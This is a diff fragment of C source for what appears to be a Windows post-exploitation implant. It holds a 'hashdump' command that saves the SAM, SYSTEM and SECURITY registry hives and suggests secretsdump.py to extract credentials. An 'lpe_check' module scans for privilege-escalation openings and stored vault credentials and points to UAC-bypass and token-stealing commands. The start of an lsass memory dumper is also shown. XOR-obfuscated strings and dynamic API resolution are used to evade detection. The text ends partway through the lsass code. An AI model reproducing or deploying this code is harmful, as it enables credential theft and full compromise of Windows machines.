#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
static int _save_hive(HKEY root, const char *subkey,
|
||||
const char *out_path,
|
||||
char *msg, size_t msgsz)
|
||||
{
|
||||
/* remove existing file first (RegSaveKeyA fails if it exists) */
|
||||
DeleteFileA(out_path);
|
||||
|
||||
HKEY hk = NULL;
|
||||
LONG rc = RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk);
|
||||
if (rc != ERROR_SUCCESS) {
|
||||
snprintf(msg, msgsz, "[hd] RegOpenKeyEx(%s) failed: %ld\n",
|
||||
subkey, rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
rc = RegSaveKeyA(hk, out_path, NULL);
|
||||
RegCloseKey(hk);
|
||||
|
||||
if (rc != ERROR_SUCCESS) {
|
||||
snprintf(msg, msgsz, "[hd] RegSaveKey(%s) failed: %ld\n",
|
||||
subkey, rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
LARGE_INTEGER sz = {0};
|
||||
HANDLE hf = CreateFileA(out_path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hf != INVALID_HANDLE_VALUE) {
|
||||
GetFileSizeEx(hf, &sz);
|
||||
CloseHandle(hf);
|
||||
}
|
||||
|
||||
snprintf(msg, msgsz, " %-10s → %s (%llu bytes)\n",
|
||||
subkey, out_path, (unsigned long long)sz.QuadPart);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int cmd_hashdump(const char *dir, char *output_buf, size_t output_size)
|
||||
{
|
||||
char out_dir[MAX_PATH];
|
||||
if (dir && dir[0]) {
|
||||
strncpy(out_dir, dir, sizeof(out_dir) - 1);
|
||||
out_dir[sizeof(out_dir) - 1] = '\0';
|
||||
} else {
|
||||
GetTempPathA(sizeof(out_dir), out_dir);
|
||||
}
|
||||
/* strip trailing backslash */
|
||||
size_t dlen = strlen(out_dir);
|
||||
if (dlen > 0 && out_dir[dlen - 1] == '\\')
|
||||
out_dir[--dlen] = '\0';
|
||||
|
||||
/* SeBackupPrivilege LUID={17,0}, SeSecurityPrivilege LUID={8,0} — constant on all NT */
|
||||
{
|
||||
const adv_api_t *_a = adv_get();
|
||||
HANDLE _tok = NULL;
|
||||
if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
|
||||
_a->OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
|
||||
TOKEN_PRIVILEGES _tp;
|
||||
_tp.PrivilegeCount = 1;
|
||||
_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
_tp.Privileges[0].Luid.LowPart = 17; _tp.Privileges[0].Luid.HighPart = 0;
|
||||
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
|
||||
_tp.Privileges[0].Luid.LowPart = 8;
|
||||
_a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
|
||||
CloseHandle(_tok);
|
||||
}
|
||||
}
|
||||
|
||||
char sam_path[MAX_PATH], sys_path[MAX_PATH], sec_path[MAX_PATH];
|
||||
snprintf(sam_path, sizeof(sam_path), "%s\\sam.hive", out_dir);
|
||||
snprintf(sys_path, sizeof(sys_path), "%s\\system.hive", out_dir);
|
||||
snprintf(sec_path, sizeof(sec_path), "%s\\security.hive", out_dir);
|
||||
|
||||
size_t pos = 0;
|
||||
int n = snprintf(output_buf + pos, output_size - pos,
|
||||
"[hd] saving hives to %s\n", out_dir);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
static const struct { HKEY root; const char *key; } hives[] = {
|
||||
{HKEY_LOCAL_MACHINE, "SAM"},
|
||||
{HKEY_LOCAL_MACHINE, "SYSTEM"},
|
||||
{HKEY_LOCAL_MACHINE, "SECURITY"},
|
||||
};
|
||||
static const char *paths[] = {NULL, NULL, NULL};
|
||||
/* assign at runtime */
|
||||
char *ppaths[3];
|
||||
ppaths[0] = sam_path;
|
||||
ppaths[1] = sys_path;
|
||||
ppaths[2] = sec_path;
|
||||
|
||||
int any_ok = 0;
|
||||
for (int i = 0; i < 3; i++) {
|
||||
char msg[512];
|
||||
int rc = _save_hive(hives[i].root, hives[i].key, ppaths[i],
|
||||
msg, sizeof(msg));
|
||||
n = snprintf(output_buf + pos, output_size - pos, "%s", msg);
|
||||
if (n > 0) pos += (size_t)n;
|
||||
if (rc == 0) any_ok++;
|
||||
}
|
||||
|
||||
if (any_ok == 0) {
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
"[hd] all failed - try st on a SYSTEM process first\n");
|
||||
if (n > 0) pos += (size_t)n;
|
||||
return -1;
|
||||
}
|
||||
|
||||
n = snprintf(output_buf + pos, output_size - pos,
|
||||
"[hd] extract creds:\n"
|
||||
" secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL\n");
|
||||
if (n > 0) pos += (size_t)n;
|
||||
|
||||
(void)paths;
|
||||
return 0;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,412 @@
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
typedef BOOL (WINAPI *fn_CredEnum_t)(LPCSTR, DWORD, DWORD *, void ***);
|
||||
typedef VOID (WINAPI *fn_CredFree_t)(PVOID);
|
||||
|
||||
/* CREDENTIAL layout */
|
||||
typedef struct {
|
||||
DWORD Flags;
|
||||
DWORD Type;
|
||||
LPSTR TargetName;
|
||||
LPSTR Comment;
|
||||
FILETIME LastWritten;
|
||||
DWORD CredentialBlobSize;
|
||||
LPBYTE CredentialBlob;
|
||||
DWORD Persist;
|
||||
DWORD AttributeCount;
|
||||
PVOID Attributes;
|
||||
LPSTR TargetAlias;
|
||||
LPSTR UserName;
|
||||
} CRED_A;
|
||||
|
||||
/* impersonation token required by AccessCheck */
|
||||
static HANDLE _dup_imp(void)
|
||||
{
|
||||
const adv_api_t *adv = adv_get();
|
||||
HANDLE h = NULL, hi = NULL;
|
||||
if (!adv->OpenProcessToken ||
|
||||
!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &h))
|
||||
return NULL;
|
||||
SECURITY_ATTRIBUTES sa = {sizeof(sa)};
|
||||
if (adv->DuplicateTokenEx)
|
||||
adv->DuplicateTokenEx(h, TOKEN_ALL_ACCESS, &sa,
|
||||
SecurityImpersonation, TokenImpersonation, &hi);
|
||||
CloseHandle(h);
|
||||
return hi;
|
||||
}
|
||||
|
||||
/* returns 1 if current user can write to path (file or dir) */
|
||||
static int _can_write(const char *path, HANDLE himp)
|
||||
{
|
||||
if (!himp) return 0;
|
||||
PSECURITY_DESCRIPTOR pSD = NULL;
|
||||
DWORD err = GetNamedSecurityInfoA((LPSTR)path, SE_FILE_OBJECT,
|
||||
DACL_SECURITY_INFORMATION|OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION,
|
||||
NULL, NULL, NULL, NULL, &pSD);
|
||||
if (err != ERROR_SUCCESS) return 0;
|
||||
DWORD mask = FILE_WRITE_DATA | FILE_APPEND_DATA;
|
||||
GENERIC_MAPPING gm = {FILE_GENERIC_READ, FILE_GENERIC_WRITE,
|
||||
FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS};
|
||||
MapGenericMask(&mask, &gm);
|
||||
PRIVILEGE_SET ps; DWORD ps_sz = sizeof(ps);
|
||||
DWORD granted = 0; BOOL ok = FALSE;
|
||||
AccessCheck(pSD, himp, mask, &gm, &ps, &ps_sz, &granted, &ok);
|
||||
LocalFree(pSD);
|
||||
return ok ? 1 : 0;
|
||||
}
|
||||
|
||||
/* append-safe snprintf wrapper */
|
||||
#define APPF(buf, off, sz, ...) \
|
||||
do { int _n = snprintf((buf)+*(off), (sz)-*(off), __VA_ARGS__); \
|
||||
if (_n > 0) *(off) += (size_t)_n; } while(0)
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 1. SeImpersonatePrivilege */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _chk_seimpersonate(char *out, size_t *off, size_t sz)
|
||||
{
|
||||
const adv_api_t *adv = adv_get();
|
||||
HANDLE h = NULL;
|
||||
if (!adv->OpenProcessToken ||
|
||||
!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h)) return;
|
||||
DWORD need = 0;
|
||||
GetTokenInformation(h, TokenPrivileges, NULL, 0, &need);
|
||||
TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(need);
|
||||
if (!tp) { CloseHandle(h); return; }
|
||||
if (GetTokenInformation(h, TokenPrivileges, tp, need, &need)) {
|
||||
for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
|
||||
char name[64] = {0}; DWORD nl = sizeof(name);
|
||||
if (adv->LookupPrivilegeNameA)
|
||||
adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nl);
|
||||
char _sp[24]; { volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
|
||||
_sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
|
||||
_sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0'; }
|
||||
if (_stricmp(name, _sp) == 0) {
|
||||
BOOL en = (tp->Privileges[i].Attributes &
|
||||
(SE_PRIVILEGE_ENABLED|SE_PRIVILEGE_ENABLED_BY_DEFAULT)) != 0;
|
||||
APPF(out, off, sz, "[SeImpersonate] %s%s\n",
|
||||
en ? "ENABLED" : "present/disabled",
|
||||
en ? " → gs (pipe impersonation)" : "");
|
||||
free(tp); CloseHandle(h); return;
|
||||
}
|
||||
}
|
||||
}
|
||||
free(tp); CloseHandle(h);
|
||||
APPF(out, off, sz, "[SeImpersonate] not held\n");
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 2. AlwaysInstallElevated */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _chk_aie(char *out, size_t *off, size_t sz)
|
||||
{
|
||||
/* Decode registry path + value name from EVS to avoid plaintext in .rdata */
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
char _rp[52], _rv[22];
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
|
||||
_rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
|
||||
_rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
|
||||
_rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
|
||||
_rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
|
||||
|
||||
DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
|
||||
RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
|
||||
cb = sizeof(DWORD);
|
||||
RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
|
||||
SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv));
|
||||
|
||||
if (hklm == 1 && hkcu == 1) {
|
||||
char _t1[] = {'[','A','I','E',']',' ','V','U','L','N','E','R','A','B','L','E',
|
||||
' ','(','H','K','L','M','+','H','K','C','U','=','1',')','\n',0};
|
||||
APPF(out, off, sz, "%s", _t1);
|
||||
} else
|
||||
APPF(out, off, sz, "[AIE] not set (HKLM=%lu HKCU=%lu)\n", hklm, hkcu);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 3 & 4. Service checks (unquoted paths + writable binaries) */
|
||||
/* Opens SCM once, does both checks in one pass. */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _extract_bin(const char *path, char *bin, size_t bin_sz)
|
||||
{
|
||||
if (!path || !path[0]) { bin[0] = 0; return; }
|
||||
if (path[0] == '"') {
|
||||
const char *e = strchr(path + 1, '"');
|
||||
size_t l = e ? (size_t)(e - path - 1) : strlen(path + 1);
|
||||
if (l >= bin_sz) l = bin_sz - 1;
|
||||
strncpy(bin, path + 1, l); bin[l] = 0;
|
||||
} else {
|
||||
const char *sp = strchr(path, ' ');
|
||||
size_t l = sp ? (size_t)(sp - path) : strlen(path);
|
||||
if (l >= bin_sz) l = bin_sz - 1;
|
||||
strncpy(bin, path, l); bin[l] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
static void _chk_services(char *out, size_t *off, size_t sz, HANDLE himp)
|
||||
{
|
||||
const adv_api_t *adv = adv_get();
|
||||
if (!adv->OpenSCManagerA || !adv->EnumServicesStatusExA ||
|
||||
!adv->OpenServiceA || !adv->QueryServiceConfigA ||
|
||||
!adv->CloseServiceHandle)
|
||||
return;
|
||||
|
||||
SC_HANDLE scm = adv->OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
|
||||
if (!scm) { APPF(out, off, sz, "[svc] SCM open failed: %lu\n", GetLastError()); return; }
|
||||
|
||||
DWORD bytes = 0, count = 0, resume = 0;
|
||||
adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
|
||||
SERVICE_STATE_ALL, NULL, 0, &bytes, &count, &resume, NULL);
|
||||
BYTE *buf = (BYTE *)malloc(bytes);
|
||||
if (!buf) { adv->CloseServiceHandle(scm); return; }
|
||||
|
||||
int found_unq = 0, found_bin = 0;
|
||||
|
||||
if (adv->EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
|
||||
SERVICE_STATE_ALL, buf, bytes, &bytes, &count, &resume, NULL))
|
||||
{
|
||||
ENUM_SERVICE_STATUS_PROCESS *svcs = (ENUM_SERVICE_STATUS_PROCESS *)buf;
|
||||
for (DWORD i = 0; i < count && *off < sz - 1; i++) {
|
||||
SC_HANDLE svc = adv->OpenServiceA(scm, svcs[i].lpServiceName,
|
||||
SERVICE_QUERY_CONFIG);
|
||||
if (!svc) continue;
|
||||
DWORD cfg_sz = 0;
|
||||
adv->QueryServiceConfigA(svc, NULL, 0, &cfg_sz);
|
||||
QUERY_SERVICE_CONFIGA *cfg = (QUERY_SERVICE_CONFIGA *)malloc(cfg_sz);
|
||||
if (!cfg) { adv->CloseServiceHandle(svc); continue; }
|
||||
|
||||
if (adv->QueryServiceConfigA(svc, cfg, cfg_sz, &cfg_sz)) {
|
||||
const char *raw = cfg->lpBinaryPathName;
|
||||
if (raw && raw[0]) {
|
||||
char bin[MAX_PATH] = {0};
|
||||
_extract_bin(raw, bin, sizeof(bin));
|
||||
|
||||
/* check writable service binary */
|
||||
if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
|
||||
&& _can_write(bin, himp)) {
|
||||
const char *acct = cfg->lpServiceStartName
|
||||
? cfg->lpServiceStartName : "?";
|
||||
APPF(out, off, sz, "[svc-write] %s account=%s\n binary: %s\n",
|
||||
svcs[i].lpServiceName, acct, bin);
|
||||
found_bin = 1;
|
||||
}
|
||||
|
||||
/* check unquoted path with spaces */
|
||||
if (raw[0] != '"' && strchr(raw, ' ')) {
|
||||
/* enumerate hijack candidates: split on spaces */
|
||||
char work[MAX_PATH * 2];
|
||||
strncpy(work, raw, sizeof(work) - 1);
|
||||
work[sizeof(work) - 1] = 0;
|
||||
char *p = work;
|
||||
/* skip past first token that has no space (e.g. "C:\") */
|
||||
while (*p) {
|
||||
char *sp = strchr(p, ' ');
|
||||
if (!sp) break;
|
||||
*sp = 0; /* temp null at space */
|
||||
/* candidate exe = work + ".exe" */
|
||||
char cand[MAX_PATH + 4];
|
||||
snprintf(cand, sizeof(cand), "%s.exe", work);
|
||||
/* check parent dir writable (to drop the exe) */
|
||||
char parent[MAX_PATH];
|
||||
strncpy(parent, work, sizeof(parent) - 1);
|
||||
char *sl = strrchr(parent, '\\');
|
||||
if (sl) { *sl = 0;
|
||||
if (GetFileAttributesA(parent) != INVALID_FILE_ATTRIBUTES
|
||||
&& _can_write(parent, himp)) {
|
||||
APPF(out, off, sz,
|
||||
"[unquoted] %s\n drop: %s\n dir writable: %s\n",
|
||||
svcs[i].lpServiceName, cand, parent);
|
||||
found_unq = 1;
|
||||
}
|
||||
}
|
||||
*sp = ' '; /* restore */
|
||||
p = sp + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(cfg);
|
||||
adv->CloseServiceHandle(svc);
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
adv->CloseServiceHandle(scm);
|
||||
|
||||
if (!found_bin) APPF(out, off, sz, "[svc-write] none writable\n");
|
||||
if (!found_unq) APPF(out, off, sz, "[unquoted] none exploitable\n");
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 5. Writable autorun paths (HKLM/HKCU Run keys) */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _chk_autoruns(char *out, size_t *off, size_t sz, HANDLE himp)
|
||||
{
|
||||
static const char *keys[] = {
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
NULL
|
||||
};
|
||||
HKEY roots[2] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };
|
||||
const char *rnames[2] = { "HKLM", "HKCU" };
|
||||
int found = 0;
|
||||
|
||||
for (int r = 0; r < 2; r++) {
|
||||
for (int k = 0; keys[k] && *off < sz - 1; k++) {
|
||||
HKEY hk = NULL;
|
||||
if (RegOpenKeyExA(roots[r], keys[k], 0, KEY_READ, &hk) != ERROR_SUCCESS)
|
||||
continue;
|
||||
DWORD idx = 0;
|
||||
char vname[256], vdata[1024];
|
||||
DWORD vn, vd, vtype;
|
||||
while (1) {
|
||||
vn = sizeof(vname); vd = sizeof(vdata);
|
||||
if (RegEnumValueA(hk, idx++, vname, &vn, NULL,
|
||||
&vtype, (LPBYTE)vdata, &vd) != ERROR_SUCCESS) break;
|
||||
if (vtype != REG_SZ && vtype != REG_EXPAND_SZ) continue;
|
||||
char bin[MAX_PATH] = {0};
|
||||
_extract_bin(vdata, bin, sizeof(bin));
|
||||
if (bin[0] && GetFileAttributesA(bin) != INVALID_FILE_ATTRIBUTES
|
||||
&& _can_write(bin, himp)) {
|
||||
/* HKCU = persistence only (runs as current user)
|
||||
HKLM = LPE vector (runs at system startup / all users) */
|
||||
const char *tag = (r == 0) ? "[autorun-lpe]" : "[autorun-persist]";
|
||||
APPF(out, off, sz, "%s %s\\%s → %s: %s\n",
|
||||
tag, rnames[r], keys[k], vname, bin);
|
||||
found = 1;
|
||||
}
|
||||
}
|
||||
RegCloseKey(hk);
|
||||
}
|
||||
}
|
||||
if (!found) APPF(out, off, sz, "[autorun] none writable\n");
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 6. Stored credentials (CredEnumerate — fully dynamic) */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _chk_creds(char *out, size_t *off, size_t sz)
|
||||
{
|
||||
char _da[13];
|
||||
EVS_D(_da, EVS_dll_advapi32);
|
||||
HMODULE had = _peb_module(_da);
|
||||
SecureZeroMemory(_da, sizeof(_da));
|
||||
if (!had) return;
|
||||
char s_ce[15], s_cf[9];
|
||||
EVS_D(s_ce, EVS_fn_CredEnumerateA);
|
||||
EVS_D(s_cf, EVS_fn_CredFree);
|
||||
fn_CredEnum_t pCE = (fn_CredEnum_t)(void*)GetProcAddress(had, s_ce);
|
||||
SecureZeroMemory(s_ce, sizeof(s_ce));
|
||||
fn_CredFree_t pCF = (fn_CredFree_t)(void*)GetProcAddress(had, s_cf);
|
||||
SecureZeroMemory(s_cf, sizeof(s_cf));
|
||||
if (!pCE || !pCF) return;
|
||||
|
||||
DWORD count = 0; CRED_A **creds = NULL;
|
||||
if (!pCE(NULL, 0, &count, (void***)&creds)) {
|
||||
APPF(out, off, sz, "[creds] none (or access denied)\n");
|
||||
return;
|
||||
}
|
||||
if (count == 0) {
|
||||
APPF(out, off, sz, "[creds] vault empty\n");
|
||||
} else {
|
||||
APPF(out, off, sz, "[creds] %lu entry/entries:\n", count);
|
||||
for (DWORD i = 0; i < count && *off < sz - 1; i++) {
|
||||
CRED_A *c = creds[i];
|
||||
/* type 1=generic 2=domain_password 3=domain_cert */
|
||||
APPF(out, off, sz, " [%lu] target=%-40s user=%s blob=%lu bytes\n",
|
||||
c->Type,
|
||||
c->TargetName ? c->TargetName : "(null)",
|
||||
c->UserName ? c->UserName : "(null)",
|
||||
c->CredentialBlobSize);
|
||||
}
|
||||
}
|
||||
pCF(creds);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* 0. UAC limited-admin token detection */
|
||||
/* TokenElevationTypeLimited = user is local admin running filtered */
|
||||
/* medium-IL token → UAC bypass + token steal → SYSTEM possible. */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static void _chk_uac_limited(char *out, size_t *off, size_t sz)
|
||||
{
|
||||
HANDLE htok = NULL;
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) return; }
|
||||
|
||||
TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
|
||||
DWORD cb = sizeof(etype);
|
||||
GetTokenInformation(htok, TokenElevationType, &etype, cb, &cb);
|
||||
|
||||
/* Integrity level */
|
||||
DWORD need = 0;
|
||||
GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &need);
|
||||
TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(need);
|
||||
DWORD il_rid = 0;
|
||||
if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, need, &need))
|
||||
il_rid = *GetSidSubAuthority(tml->Label.Sid,
|
||||
*GetSidSubAuthorityCount(tml->Label.Sid) - 1);
|
||||
free(tml);
|
||||
CloseHandle(htok);
|
||||
|
||||
const char *il_str = il_rid >= 0x4000 ? "SYSTEM"
|
||||
: il_rid >= 0x3000 ? "HIGH"
|
||||
: il_rid >= 0x2000 ? "MEDIUM"
|
||||
: il_rid >= 0x1000 ? "LOW"
|
||||
: "UNTRUSTED";
|
||||
|
||||
if (etype == TokenElevationTypeLimited) {
|
||||
APPF(out, off, sz,
|
||||
"[UAC] VULNERABLE - limited admin token (IL=%s)\n"
|
||||
" → run: pe (UAC bypass + token steal → SYSTEM)\n"
|
||||
" methods: COM moniker / fodhelper / sdclt (auto-fallback)\n",
|
||||
il_str);
|
||||
} else if (etype == TokenElevationTypeFull) {
|
||||
APPF(out, off, sz,
|
||||
"[UAC] already elevated (IL=%s) → run: gs\n", il_str);
|
||||
} else {
|
||||
APPF(out, off, sz,
|
||||
"[UAC] default token (IL=%s) - not local admin, UAC bypass unavailable\n",
|
||||
il_str);
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Entry point */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
int cmd_lpe_check(const char *args, char *out, size_t sz)
|
||||
{
|
||||
(void)args;
|
||||
memset(out, 0, sz);
|
||||
size_t off = 0;
|
||||
|
||||
APPF(out, &off, sz, "=== LPE CHECK ===\n");
|
||||
|
||||
HANDLE himp = _dup_imp();
|
||||
|
||||
_chk_uac_limited(out, &off, sz);
|
||||
_chk_seimpersonate(out, &off, sz);
|
||||
_chk_aie(out, &off, sz);
|
||||
_chk_services(out, &off, sz, himp);
|
||||
_chk_autoruns(out, &off, sz, himp);
|
||||
_chk_creds(out, &off, sz);
|
||||
|
||||
if (himp) CloseHandle(himp);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,399 @@
|
||||
#include "commands.h"
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifndef NTSTATUS
|
||||
typedef LONG NTSTATUS;
|
||||
#endif
|
||||
|
||||
/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
|
||||
typedef NTSTATUS (NTAPI *_lNtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
static _lNtRVM_t _lsass_nrvm(void) {
|
||||
static _lNtRVM_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
|
||||
fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
|
||||
ns[sizeof(EVS_dll_ntdll)] = '\0';
|
||||
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
|
||||
if (m) fn = (_lNtRVM_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn;
|
||||
}
|
||||
|
||||
/* minidump structures, packed */
|
||||
#pragma pack(push, 4)
|
||||
|
||||
typedef struct { uint32_t Sig; uint16_t Ver; uint16_t ImplVer;
|
||||
uint32_t N; uint32_t DirRva; uint32_t Csum;
|
||||
uint32_t Ts; uint64_t Flags; } md_hdr_t; /* 32 */
|
||||
|
||||
typedef struct { uint32_t Sz; uint32_t Rva; } md_loc_t; /* 8 */
|
||||
typedef struct { uint32_t Type; md_loc_t Loc; } md_dir_t; /* 12 */
|
||||
|
||||
typedef struct {
|
||||
uint16_t Arch; uint16_t Level; uint16_t Rev;
|
||||
uint8_t NCpu; uint8_t ProdType;
|
||||
uint32_t Major; uint32_t Minor; uint32_t Build;
|
||||
uint32_t Platform; uint32_t CsdRva;
|
||||
uint16_t Suite; uint16_t Rsv2;
|
||||
uint64_t CpuFeatures[2];
|
||||
} md_sysinfo_t; /* 48 */
|
||||
|
||||
typedef struct {
|
||||
uint64_t Base; uint32_t Size; uint32_t Chk;
|
||||
uint32_t Ts; uint32_t NameRva;
|
||||
uint8_t VerInfo[52]; /* VS_FIXEDFILEINFO — zeroed */
|
||||
md_loc_t CvRec; md_loc_t MiscRec;
|
||||
uint64_t Rsv0; uint64_t Rsv1;
|
||||
} md_mod_t; /* 108 */
|
||||
|
||||
typedef struct { uint64_t Start; uint64_t DataSz; } md_range_t; /* 16 */
|
||||
typedef struct { uint64_t N; uint64_t BaseRva; } md_mem64_t; /* 16 */
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
#define MD_STREAM_SYSINFO 7
|
||||
#define MD_STREAM_MODLIST 4
|
||||
#define MD_STREAM_MEM64 9
|
||||
|
||||
static DWORD _find_lsass(void)
|
||||
{
|
||||
char name[12] = {0};
|
||||
{ volatile unsigned char _k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_str_lsass_exe); i++)
|
||||
name[i] = (char)(EVS_str_lsass_exe[i] ^ _k); }
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pe = {sizeof(pe)};
|
||||
DWORD pid = 0;
|
||||
if (Process32First(snap, &pe)) do {
|
||||
if (_stricmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
|
||||
} while (Process32Next(snap, &pe));
|
||||
CloseHandle(snap);
|
||||
SecureZeroMemory(name, sizeof(name));
|
||||
return pid;
|
||||
}
|
||||
|
||||
static int _is_readable(DWORD prot)
|
||||
{
|
||||
DWORD p = prot & 0xFF;
|
||||
return p == PAGE_READONLY || p == PAGE_READWRITE ||
|
||||
p == PAGE_EXECUTE_READ || p == PAGE_EXECUTE_READWRITE ||
|
||||
p == PAGE_EXECUTE_WRITECOPY || p == PAGE_WRITECOPY;
|
||||
}
|
||||
|
||||
static BOOL _wf(HANDLE hf, const void *d, DWORD sz)
|
||||
{
|
||||
DWORD w;
|
||||
return WriteFile(hf, d, sz, &w, NULL) && w == sz;
|
||||
}
|
||||
|
||||
/* ===== Module collection ===== */
|
||||
|
||||
#define MAX_MODS 512
|
||||
|
||||
typedef struct {
|
||||
uint64_t base;
|
||||
uint32_t size;
|
||||
uint32_t csum;
|
||||
uint32_t ts;
|
||||
WCHAR path[MAX_PATH];
|
||||
uint32_t path_bytes; /* byte length of path (no null) */
|
||||
} lsmod_t;
|
||||
|
||||
static int _collect_mods(DWORD pid, HANDLE hp, lsmod_t *mods, int *out)
|
||||
{
|
||||
HANDLE snap = CreateToolhelp32Snapshot(
|
||||
TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
|
||||
if (snap == INVALID_HANDLE_VALUE) return -1;
|
||||
|
||||
int n = 0;
|
||||
MODULEENTRY32 me = {sizeof(me)};
|
||||
if (Module32First(snap, &me)) do {
|
||||
if (n >= MAX_MODS) break;
|
||||
lsmod_t *m = &mods[n++];
|
||||
m->base = (uint64_t)(uintptr_t)me.modBaseAddr;
|
||||
m->size = me.modBaseSize;
